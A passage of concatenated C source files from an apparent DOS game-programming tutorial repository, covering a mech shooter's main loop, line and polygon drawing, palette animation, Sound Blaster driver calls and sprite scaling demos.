void Erase_Instruments(void)
{
// this function erases the instruments
Blit_String_DB(42,189,0," ",0);
Blit_String_DB(142,189,0," ",0);
Blit_String_DB(276,189,0," ",0);
} // end Erase_Instruments
///////////////////////////////////////////////////////////////////////////
void Load_Background(void)
{
// this function loads in thre background imagery
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("mechback.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
} // end Load_Background
///////////////////////////////////////////////////////////////////////////
void Do_Intro(void)
{
// this function does the introduction and the instructions
// load intro screen and display for a few secs.
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("mechint.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// let user see it
Delay(50);
Fade_Lights();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
// load instructions and wait for key press
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("mechins.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// let user see it
getch();
Melt();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
} // end Do_Intro
///////////////////////////////////////////////////////////////////////////
void Load_Player(void)
{
// this function loads in the imagery an initializes the mech
// load in imagery for player
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("mech.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize player and extract birtmaps
sprite_width = 18;
sprite_height = 18;
Sprite_Init((sprite_ptr)&player,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,0,0,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,1,1,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,2,2,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,3,3,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,4,4,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,5,5,3);
player.x = 160;
player.y = 168;
player.curr_frame = 0;
player.state = PLAYER_ALIVE;
} // end Load_Player
///////////////////////////////////////////////////////////////////////////
void Load_Mother(void)
{
// this function loads up the imagery for the mother ship
// load up mother ship
Sprite_Init((sprite_ptr)&mother,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&mother,0,0,4);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&mother,1,1,4);
mother.x = 0;
mother.y = 0;
mother.curr_frame = 0;
mother.state = MOTHER_DEAD;
} // end Load_Mother
///////////////////////////////////////////////////////////////////////////
void Load_Explosions(void)
{
// this function loads in the imagery for the explosions
int index;
// load data for explosions
// load in frames for fire
for (index=0; index<NUM_EXPLOSIONS; index++)
{
Sprite_Init((sprite_ptr)&explosions[index],0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],0,6,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],1,7,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],2,8,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],3,9,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],4,10,3);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],5,11,3);
} // end for
} // end Load_Explosions
///////////////////////////////////////////////////////////////////////////
void Load_Mechs(void)
{
// this function loads the imagery for the mechs
int index;
// load in images for robots
// initialize the sprites used for mechs
Sprite_Init((sprite_ptr)&robot_1,0,0,0,0,0,0);
Sprite_Init((sprite_ptr)&robot_2,0,0,0,0,0,0);
Sprite_Init((sprite_ptr)&robot_3,0,0,0,0,0,0);
// zer these fields out for good measure
robot_1.x = 0;
robot_1.y = 0;
robot_1.curr_frame = 0;
robot_2.x = 0;
robot_2.y = 0;
robot_2.curr_frame = 0;
robot_3.x = 0;
robot_3.y = 0;
robot_3.curr_frame = 0;
// extract all the bitmaps out of pcx file
for (index=0; index<NUM_ROBOT_FRAMES; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&robot_1,index,index,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&robot_2,index,index,1);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&robot_3,index,index,2);
} // end for index
// delete imagery file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Mechs
///////////////////////////////////////////////////////////////////////////
void main(int argc,char **argv)
{
// this is the main function
int done=0, // exit flag for whole system
fired=0, // used to track if a player has fired a missile
index; // used for loop variable
char buffer[80]; // buffer to hold strings during printing
printf("\nStarting mechs...");
// initialize sound system
sound_available = Initialize_Sound_System();
Delay(100);
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// create cosine look up table
for (index=0; index<320; index++)
cos_look[index] = (int)(8*cos(3.14159*5*(float)index/180));
// clear the double buffer
Fill_Double_Buffer(0);
// load the background imagery
Load_Background();
// do the introduction
Do_Intro();
// install our ISR
Old_Isr = _dos_getvect(KEYBOARD_INT);
_dos_setvect(KEYBOARD_INT, New_Key_Int);
// load the player
Load_Player();
// load the mechs
Load_Mother();
// load the explosions
Load_Explosions();
// load the mechs
Load_Mechs();
// set up the current wave
waves[0] = wave_0;
waves[1] = wave_1;
waves[2] = wave_2;
waves[3] = wave_3;
waves[4] = wave_4;
waves[5] = wave_5;
waves[6] = wave_6;
waves[7] = wave_7;
waves[8] = wave_8;
waves[9] = wave_9;
waves[10] = wave_10;
waves[11] = wave_11;
waves[12] = wave_12;
waves[13] = wave_13;
waves[14] = wave_14;
current_wave = waves[wave_number];
// initialize all mechs
Init_Mechs();
// initialize starfield
Init_Stars();
// initialize the explosions
Init_Explosions();
// start the level off
Start_Wave();
// scan under mechs
Behind_Mechs();
// scan the background under player
Behind_Sprite_DB((sprite_ptr)&player);
// scan under the stars
Behind_Stars();
// display instruments for first time
Display_Instruments();
// main event loop
while(!done)
{
// reset all event variables
fired = 0 ;
// erase all objects
Erase_Sprite_DB((sprite_ptr)&player);
Erase_Missiles();
Erase_Stars();
Erase_Mother();
Erase_Mechs();
Erase_PDeath();
Erase_Explosions();
Erase_Instruments();
// move all objects and trasnform
if (player.state==PLAYER_ALIVE)
{
// wait key was pressed
if (key_table[INDEX_RIGHT])
{
player.x+=PLAYER_X_MOVE;
if (player.x > SCREEN_WIDTH-20)
player.x = SCREEN_WIDTH-20;
} // end if right
else
if (key_table[INDEX_LEFT])
{
player.x-=PLAYER_X_MOVE;
if (player.x < 0)
player.x = 0;
} // end if left
if (key_table[INDEX_Q])
{
done=1;
} // end if q
if (key_table[INDEX_SPACE])
{
if (player_gun_state == PLAYER_NOT_FIRING && player_energy>0)
{
player_gun_state = PLAYER_FIRING;
fired = 1;
player_energy -= (5+rand()%2);
if (player_energy < -100)
player_energy=-100;
} // end if not currently firing
} // end if space
} // end if player alive
// move missiles
Move_Missiles();
Move_Mother();
Move_Stars();
Move_Mechs();
Animate_PDeath();
Animate_Explosions();
// critical area
// do cannon retraction if player has fired
if (fired)
{
Start_Missile((sprite_ptr)&player,
player.x+2,
player.y+4,
0,
-8,
12,
PLAYER_MISSILE);
Start_Missile((sprite_ptr)&player,
player.x+15,
player.y+4,
0,
-8,
12,
PLAYER_MISSILE);
Play_Sound(SOUND_MISSILE);
} // end if fired
// do mother ship
Control_Mother();
// start new wave here
if (mechs_killed==num_mechs)
{
// next wave
wave_number++;
Start_Wave();
// reset mech counter
mechs_killed=0;
} // end if start next wave
// scan background
Behind_Sprite_DB((sprite_ptr)&player);
Behind_Missiles();
Behind_Mother();
Behind_Mechs();
Behind_Stars();
Behind_Explosions();
Behind_PDeath();
// draw objects
// flicker engine
if (player.state==PLAYER_ALIVE)
{
if (player_gun_state==PLAYER_NOT_FIRING)
{
player.curr_frame = rand()%2;
if (++player_energy > 100) player_energy = 100;
} // end if not firing
else
{
if (++player.curr_frame > 4)
{
player.curr_frame = 0;
player_gun_state = PLAYER_NOT_FIRING;
} // end if done retracting
} // end else player is firing so retract
} // end if player alive
else
player.curr_frame = 5;
// draw everything
Draw_Sprite_DB((sprite_ptr)&player);
Draw_Missiles();
Draw_Stars();
Draw_Explosions();
Draw_Mother();
Draw_Mechs();
Draw_PDeath();
Display_Instruments();
Blink_Lights();
// place double buffer
Show_Double_Buffer(double_buffer);
// test if player is dead
if (player_ships==0 && player.anim_clock >= PLAYER_DEATH_TIME)
{
sprintf(buffer,"G A M E O V E R");
Blit_String_G(160-64,60,4,buffer,1);
sprintf(buffer,"Final Score %ld",player_score);
Blit_String_G(160-64,80,1,buffer,1);
done=1;
} // end if player done
// display header for level number
else
{
if (energize_state==1)
{
sprintf(buffer,"W A V E %d",wave_number+1);
Blit_String_G(160-40,60,10,buffer,1);
} // end if need to display level
else
if (energize_state==2)
{
// erase words
Blit_String_G(160-40,60,0," ",0);
// move on to sequence over
energize_state++;
} // end if energize over
} // end else ok to put up wave
// wait a second
// test if this is a really fast machine and either
// wait 1/70 of a sec or 1/8 of second
if (argc > 1)
Delay(1);
else
Wait_For_Vsync();
// update all global counters and timers
game_clock++;
} // end while
// play latter sound
Play_Sound(SOUND_END);
Delay(100);
// use one of screen fx as exit
Fade_Lights();
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// delete all the mech data
Delete_Mechs();
// free the double buffer
Delete_Double_Buffer();
// replace old ISR
_dos_setvect(KEYBOARD_INT, Old_Isr);
// close sound system
Close_Sound_System();
// get the hell out of here!!!!!
} // end main
<file_sep>/WGAMELIB/GRAPH14.C
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph5.h"
#include "graph6.h"
#include "graph14.h"
// F U N C T I O N S /////////////////////////////////////////////////////////
void Draw_Polygon_DB(polygon_ptr poly)
{
// this function draws a polygon into the double buffer without clipping
// caller should make sure that vertices are within bounds of clipping
// rectangle, also the polygon will always be unfilled regardless
// of the fill flag
int index,xo,yo;
// extract local origin
xo = poly->lxo;
yo = poly->lyo;
// draw polygon
for (index=0; index<poly->num_vertices-1; index++)
{
Bline_DB(xo+(int)poly->vertices[index].x,yo+(int)poly->vertices[index].y,
xo+(int)poly->vertices[index+1].x,yo+(int)poly->vertices[index+1].y,
poly->b_color);
} // end for index
// close polygon?
if (!poly->closed)
return;
Bline_DB(xo+(int)poly->vertices[index].x,yo+(int)poly->vertices[index].y,
xo+(int)poly->vertices[0].x,yo+(int)poly->vertices[0].y,
poly->b_color);
} // end Draw_Polygon_DB
//////////////////////////////////////////////////////////////////////////////
void Draw_Polygon_Clip_DB(polygon_ptr poly)
{
// this function draws a polygon into the double buffer with clipping
// also the polygon will always be unfilled regardless
// of the fill flag in the polygon structure
int index, // loop index
xo,yo, // local origin
x1,y1, // end points of current line being processed
x2,y2;
// extract local origin
xo = poly->lxo;
yo = poly->lyo;
// draw polygon
for (index=0; index<poly->num_vertices-1; index++)
{
// extract the line
x1 = (int)poly->vertices[index].x+xo;
y1 = (int)poly->vertices[index].y+yo;
x2 = (int)poly->vertices[index+1].x+xo;
y2 = (int)poly->vertices[index+1].y+yo;
// clip line to viewing screen and draw unless line is totally invisible
if (Clip_Line(&x1,&y1,&x2,&y2))
{
// line was clipped and now can be drawn
Bline_DB(x1,y1,x2,y2,poly->b_color);
} // end if draw line
} // end for index
// close polygon? // close polygon
if (!poly->closed)
return;
// extract the line
x1 = (int)poly->vertices[index].x+xo;
y1 = (int)poly->vertices[index].y+yo;
x2 = (int)poly->vertices[0].x+xo;
y2 = (int)poly->vertices[0].y+yo;
// clip line to viewing screen and draw unless line is totally invisible
if (Clip_Line(&x1,&y1,&x2,&y2))
{
// line was clipped and now can be drawn
Bline_DB(x1,y1,x2,y2,poly->b_color);
} // end if draw line
} // end Draw_Polygon_Clip_DB
//////////////////////////////////////////////////////////////////////////////
void Bline_DB(int xo, int yo, int x1,int y1, unsigned char color)
{
// this function uses Bresenham's algorithm IBM (1965) to draw a line from
// (xo,yo) - (x1,y1) into the double buffer
int dx, // difference in x's
dy, // difference in y's
x_inc, // amount in pixel space to move during drawing
y_inc, // amount in pixel space to move during drawing
error=0, // the discriminant i.e. error i.e. decision variable
index; // used for looping
unsigned char far *vb_start = double_buffer; // directly access the double
// buffer for speed
// SECTION 1 /////////////////////////////////////////////////////////////////
// pre-compute first pixel address in video buffer
// use shifts for multiplication
vb_start = vb_start + ((unsigned int)yo<<6) +
((unsigned int)yo<<8) +
(unsigned int)xo;
// compute deltas
dx = x1-xo;
dy = y1-yo;
// SECTION 2 /////////////////////////////////////////////////////////////////
// test which direction the line is going in i.e. slope angle
if (dx>=0)
{
x_inc = 1;
} // end if line is moving right
else
{
x_inc = -1;
dx = -dx; // need absolute value
} // end else moving left
// SECTION 3 /////////////////////////////////////////////////////////////////
// test y component of slope
if (dy>=0)
{
y_inc = 320; // 320 bytes per line
} // end if line is moving down
else
{
y_inc = -320;
dy = -dy; // need absolute value
} // end else moving up
// SECTION 4 /////////////////////////////////////////////////////////////////
// now based on which delta is greater we can draw the line
if (dx>dy)
{
// draw the line
for (index=0; index<=dx; index++)
{
// set the pixel
*vb_start = color;
// adjust the discriminate
error+=dy;
// test if error overflowed
if (error>dx)
{
error-=dx;
// move to next line
vb_start+=y_inc;
} // end if error overflowed
// move to the next pixel
vb_start+=x_inc;
} // end for
} // end if |slope| <= 1
else
{
// SECTION 5 /////////////////////////////////////////////////////////////////
// draw the line
for (index=0; index<=dy; index++)
{
// set the pixel
*vb_start = color;
// adjust the discriminate
error+=dx;
// test if error overflowed
if (error>0)
{
error-=dy;
// move to next line
vb_start+=x_inc;
} // end if error overflowed
// move to the next pixel
vb_start+=y_inc;
} // end for
} // end else |slope| > 1
} // end Bline_DB
///////////////////////////////////////////////////////////////////////////////
<file_sep>/day_03/RED.C
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include "graph3.h" // this is all we need to include so that the program
// knows all the #defines, structures, prototypes etc.
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
RGB_color orig; //The original red color
RGB_color cur; //The current red color
int done=0; // exit flag
int fade=-1;
int x,y;
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
//extract the color
Get_Palette_Register(0x0c, &orig);
cur = orig;
//plot the pixel
Plot_Pixel_Fast(158,98,0x0c);
Plot_Pixel_Fast(159,98,0x0c);
Plot_Pixel_Fast(160,98,0x0c);
Plot_Pixel_Fast(158,99,0x0c);
Plot_Pixel_Fast(159,99,0x0c);
Plot_Pixel_Fast(160,99,0x0c);
Plot_Pixel_Fast(158,100,0x0c);
Plot_Pixel_Fast(159,100,0x0c);
Plot_Pixel_Fast(160,100,0x0c);
// wait for user to hit a key
while(!done) {
//fade the color
if(fade < 0 && (!cur.red || !cur.green || !cur.blue)) {
fade = 1;
} else if(cur.red == orig.red || cur.green == orig.green || cur.blue == orig.blue) {
fade = -1;
}
cur.red += fade;
cur.blue += fade;
cur.green += fade;
Set_Palette_Register(0x0c, &cur);
// Check for keyboard
if(kbhit()) {
done = 1;
}
Delay(1);
}
// reset back set video mode to 320x200 256 color mode
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_03/dots.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include "graph3.h" // this is all we need to include so that the program
// knows all the #defines, structures, prototypes etc.
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
int done=0, // exit flag
index; // loop index
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// plot 10000 dots
for (index=0; index<10000; index++)
Plot_Pixel_Fast(rand()%320, rand()%200,rand()%256);
// wait for user to hit a key
while(!kbhit()){}
// reset back set video mode to 320x200 256 color mode
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_06/paper.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics library
#include "graph4.h" // include our graphics library
// D E F I N E S /////////////////////////////////////////////////////////////
#define PLANE_START_COLOR_REG 17
#define PLANE_END_COLOR_REG 30
// G L O B A L S /////////////////////////////////////////////////////////////
// 18.2 clicks/sec
pcx_picture plane;
//////////////////////////////////////////////////////////////////////////////
void Animate_Plane(void)
{
// this function animates a paper plane drawn with 14 different colors by
// illuminating a single color and turning off all the others in a sequence
RGB_color color_1, color_2;
int index;
// clear out each of the color registers used by plane
color_1.red = 0;
color_1.green = 0;
color_1.blue = 0;
color_2.red = 0;
color_2.green = 63;
color_2.blue = 0;
// clear all the colors out
for (index=PLANE_START_COLOR_REG; index<=PLANE_END_COLOR_REG; index++)
{
Set_Palette_Register(index, (RGB_color_ptr)&color_1);
} // end for index
// make first plane green and then rotate colors
Set_Palette_Register(PLANE_START_COLOR_REG, (RGB_color_ptr)&color_2);
// animate the colors
while(!kbhit())
{
// rotate colors
Get_Palette_Register(PLANE_END_COLOR_REG,(RGB_color_ptr)&color_1);
for (index=PLANE_END_COLOR_REG-1; index>=PLANE_START_COLOR_REG; index--)
{
Get_Palette_Register(index,(RGB_color_ptr)&color_2);
Set_Palette_Register(index+1,(RGB_color_ptr)&color_2);
} // end for
Set_Palette_Register(PLANE_START_COLOR_REG,(RGB_color_ptr)&color_1);
// wait a while
Delay(3);
} // end while
} // end Animate_Plane
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// initialize the pcx file that holds the plane
PCX_Init((pcx_picture_ptr)&plane);
// load the pcx file that holds the cells
PCX_Load("paper.pcx", (pcx_picture_ptr)&plane,1);
PCX_Show_Buffer((pcx_picture_ptr)&plane);
PCX_Delete((pcx_picture_ptr)&plane);
Blit_String(8,8,15,"Hit any key to see animation.",0);
getch();
Blit_String(8,8,15,"Hit any key to exit. ",0);
Animate_Plane();
// go back to text mode
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_09/graph9.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include "graph9.h"
// G L O B A L S ////////////////////////////////////////////////////////////
char far *driver_ptr; // pointer to the sound driver ct-voice.drv
unsigned version; // holds the version of the driver
char far *data_ptr; // pointer to sound file
unsigned ct_voice_status; // global status variable
// F U N C T I O N S /////////////////////////////////////////////////////////
void Voc_Get_Version(void)
{
// this function prints out the version of the driver
_asm
{
mov bx,0 ; function 0 get version number
call driver_ptr ; call the driver
mov version,ax ; store in version variable
} // end inline asm
printf("\nVersion of Driver = %X.0%X",((version>>8) & 0x00ff), (version&0x00ff));
} // end Voc_Get_Version
//////////////////////////////////////////////////////////////////////////////
int Voc_Init_Driver(void)
{
// this function intializes the driver and returns the status
int status;
_asm
{
mov bx,3 ; function 3 initialize the driver
call driver_ptr ; call the driver
mov status,ax ; store in version variable
} // end inline asm
// return status
printf("\nDriver Initialized");
return(status);
} // end Voc_Init_Driver
//////////////////////////////////////////////////////////////////////////////
int Voc_Terminate_Driver(void)
{
// this function terminates the driver and de-installes it from memory
_asm
{
mov bx,9 ; function 9 terminate the driver
call driver_ptr ; call the driver
} // end inline asm
// de-allocate memory
_dos_freemem(_FP_SEG(driver_ptr));
printf("\nDriver Terminated");
} // end Voc_Terminate_Driver
//////////////////////////////////////////////////////////////////////////////
void Voc_Set_Port(unsigned int port)
{
// this function sets the I/O port of the sound blaster
_asm
{
mov bx,1 ; function 1 set port address
mov ax,port ; move the port number into ax
call driver_ptr ; call the driver
} // end inline asm
} // Voc_Set_Port
//////////////////////////////////////////////////////////////////////////////
void Voc_Set_Speaker(unsigned int on)
{
// this function turns the speaker on or off
_asm
{
mov bx,4 ; function 4 turn speaker on or off
mov ax,on ; move the on/off flag into ax
call driver_ptr ; call the driver
} // end inline asm
} // Voc_Set_Speaker
/////////////////////////////////////////////////////////////////////////////
int Voc_Play_Sound(unsigned char far *addr,unsigned char header_length)
{
// this function plays a pre-loaded VOC file
unsigned segm,offm;
segm = _FP_SEG(addr);
offm = _FP_OFF(addr) + header_length;
_asm
{
mov bx,6 ; function 6 play a VOC file
mov ax, segm ; can only mov a register into segment so we need this
mov es, ax ; es gets the segment
mov di, offm ; di gets offset
call driver_ptr ; call the driver
} // end inline asm
} // end Voc_Play_Sound
/////////////////////////////////////////////////////////////////////////////
int Voc_Stop_Sound(void)
{
// this function will stop a currently playing sound
_asm
{
mov bx,8 ; function 8 stop a sound
call driver_ptr ; call the driver
} // end inline asm
} // end Voc_Stop_Sound
/////////////////////////////////////////////////////////////////////////////
int Voc_Pause_Sound(void)
{
// this function pauses a sound that is playing
_asm
{
mov bx,10 ; function 10 pause a sound
call driver_ptr ; call the driver
} // end inline asm
} // end Voc_Pause_Sound
/////////////////////////////////////////////////////////////////////////////
int Voc_Continue_Sound(void)
{
// this function continues a sound that had been paused
_asm
{
mov bx,11 ; function 11 continue play
call driver_ptr ; call the driver
} // end inline asm
} // end Voc_Continue_Sound
/////////////////////////////////////////////////////////////////////////////
int Voc_Break_Sound(void)
{
// this function breaks a sound that is in a loop
_asm
{
mov bx,12 ; function 12 break loop
call driver_ptr ; call the driver
} // end inline asm
} // end Voc_Break_Sound
/////////////////////////////////////////////////////////////////////////////
void Voc_Set_IRQ(unsigned int irq)
{
// this function sets the irq for the sound blaster
_asm
{
mov bx,2 ; function 2 set irq for DMA transfer
mov ax,irq ; move the irq number into ax
call driver_ptr ; call the driver
} // end inline asm
} // Voc_Set_IRQ
//////////////////////////////////////////////////////////////////////////////
void Voc_Set_Status_Addr(char far *status)
{
// this function sets the address of the global status word in the driver
unsigned segm,offm;
// exract the segment and offset of status variable
segm = _FP_SEG(status);
offm = _FP_OFF(status);
_asm
{
mov bx,5 ; function 5 set status varible address
mov es, segm ; es gets the segment
mov di, offm ; di gets offset
call driver_ptr ; call the driver
} // end inline asm
} // Voc_Set_Status_Addr
//////////////////////////////////////////////////////////////////////////////
void Voc_Load_Driver(void)
{
// this functions loads the ct-voice.drv which allows digitized effects
// to be played
int driver_handle;
unsigned segment,num_para,bytes_read;
// open the driver file
_dos_open("CT-VOICE.DRV", _O_RDONLY, &driver_handle);
// allocate the memory
num_para = 1 + (filelength(driver_handle))/16;
_dos_allocmem(num_para,&segment);
// point driver pointer to data area
_FP_SEG(driver_ptr) = segment;
_FP_OFF(driver_ptr) = 0;
// load in the driver code
data_ptr = driver_ptr;
do
{
_dos_read(driver_handle,data_ptr, 0x4000, &bytes_read);
data_ptr += bytes_read;
} while(bytes_read==0x4000);
// close the file
_dos_close(driver_handle);
} // end Voc_Load_Driver
//////////////////////////////////////////////////////////////////////////////
char far *Voc_Load_Sound(char *filename, unsigned char *header_length)
{
// thid function loads a sound off disk into memory and points returns
// a pointer to the data
char far *temp_ptr;
char far *data_ptr;
unsigned int sum;
int sound_handle;
unsigned segment,num_para,bytes_read;
// open the sound file
_dos_open(filename, _O_RDONLY, &sound_handle);
// allocate the memory
num_para = 1 + (filelength(sound_handle))/16;
_dos_allocmem(num_para,&segment);
// point data pointer to allocated data area
_FP_SEG(data_ptr) = segment;
_FP_OFF(data_ptr) = 0;
// load in the sound data
temp_ptr = data_ptr;
do
{
_dos_read(sound_handle,temp_ptr, 0x4000, &bytes_read);
temp_ptr += bytes_read;
sum+=bytes_read;
} while(bytes_read==0x4000);
// make sure it's a voc file
if ((data_ptr[0] != 'C') || (data_ptr[1] != 'r'))
{
printf("\n%s is not a voc file!",filename);
_dos_freemem(_FP_SEG(data_ptr));
return(0);
} // end if voc file
*header_length = (unsigned char)data_ptr[20];
// close the file
_dos_close(sound_handle);
return(data_ptr);
} // end Voc_Load_Sound
//////////////////////////////////////////////////////////////////////////////
void Voc_Unload_Sound(char far *sound_ptr)
{
// this functions deletes the sound from memory
_dos_freemem(_FP_SEG(sound_ptr));
} // end Voc_Unload_Sound
//////////////////////////////////////////////////////////////////////////////
<file_sep>/day_08/lookup.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
// D E F I N E S /////////////////////////////////////////////////////////////
#define NUM_CIRCLES 1000
#define FULL_CIRCLE 360
// G L O B A L S ////////////////////////////////////////////////////////////
float sin_table[360], cos_table[360];
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
int index,x,y,xo,yo,radius,ang;
// create look up tables
for (index=0; index<FULL_CIRCLE; index++)
{
sin_table[index]= sin(index*3.14159/180);
cos_table[index] = cos(index*3.14159/180);
} // end for index
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
printf("\nHit any key to draw circles with internal sin and cosine.");
getch();
// draw circles using built in sin and cos
for (index=0; index<NUM_CIRCLES; index++)
{
// get a random circle
radius = rand()%50;
xo = rand()%320;
yo = rand()%200;
for (ang=0; ang<360; ang++)
{
x = xo + cos(ang*3.14159/180)*radius;
y = yo + sin(ang*3.14159/180)*radius;
// plot the point of the circle with a little image space clipping
if (x>=0 && x<320 && y>=0 && y<200)
Plot_Pixel_Fast(x,y,9);
} // end for ang
} // end for index
// done, halt the system and wait for user to hit a key
printf("\nHit any key to see circles drawn with look up tables.");
getch();
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// draw circles using look up tables
for (index=0; index<NUM_CIRCLES; index++)
{
// get a random circle
radius = rand()%50;
xo = rand()%320;
yo = rand()%200;
for (ang=0; ang<FULL_CIRCLE; ang++)
{
x = xo + cos_table[ang]*radius;
y = yo + sin_table[ang]*radius;
// plot the point of the circle with a little image space clipping
if (x>=0 && x<320 && y>=0 && y<200)
Plot_Pixel_Fast(x,y,12);
} // end for ang
} // end for index
// let user hit a key to exit
printf("\nWow! Hit any key to exit.");
getch();
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_04/SCALE.C
// I N C L U D E S ////////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include <graph.h> // microsoft's stuff if we need it
#include "graph3.h" // the module from day 3
#include "graph4.h" // the module from day 4
#include "better4.h" // my better functions
// F U N C T I O N S //////////////////////////////////////////////////////////
void main()
{
sprite tank;
pcx_picture objects_pcx;
int index;
int dir=1;
sprite scaled_tank[5];
// load the .PCX file with the tank cells
// load in the players imagery
PCX_Init((pcx_picture_ptr)&objects_pcx);
PCX_Load("tanks.pcx", (pcx_picture_ptr)&objects_pcx,0);
// initialize sprite size and data structure
sprite_width = 16;
sprite_height = 16;
// place tank (player) in center of screen
Sprite_Init((sprite_ptr)&tank,152,91,0,0,0,0);
// grab all 16 images from the tanks pcx picture
for (index=0; index<16; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&objects_pcx,(sprite_ptr)&tank,index,index,0);
} // end for index
//get rid of the PCX
PCX_Delete((pcx_picture_ptr)&objects_pcx);
//scale the tank at each level
for(index=0; index<5; index++) {
Better_Scale_Sprite(scaled_tank+index, &tank, index+1);
}
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
Better_Behind_Sprite(scaled_tank);
index=0;
//wait for keyboard
while(!kbhit())
{
Better_Erase_Sprite(scaled_tank+index);
//adjust scale
index += dir;
if(index==0 || index == 4) {
dir=-dir;
}
Better_Behind_Sprite(scaled_tank+index);
Better_Draw_Sprite(scaled_tank+index);
//make the next sprite
Delay(1);
}
Sprite_Fizzle(scaled_tank + index);
// go back to text mode
Set_Video_Mode(TEXT_MODE);
}
<file_sep>/day_06/scalar.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics library
#include "graph4.h" // include our graphics library
// G L O B A L S /////////////////////////////////////////////////////////////
unsigned char far *double_buffer = NULL;
unsigned int buffer_height = SCREEN_HEIGHT;
unsigned int buffer_size = SCREEN_WIDTH*SCREEN_HEIGHT/2;
sprite object;
pcx_picture imagery_pcx;
// F U N C T I O N S //////////////////////////////////////////////////////////
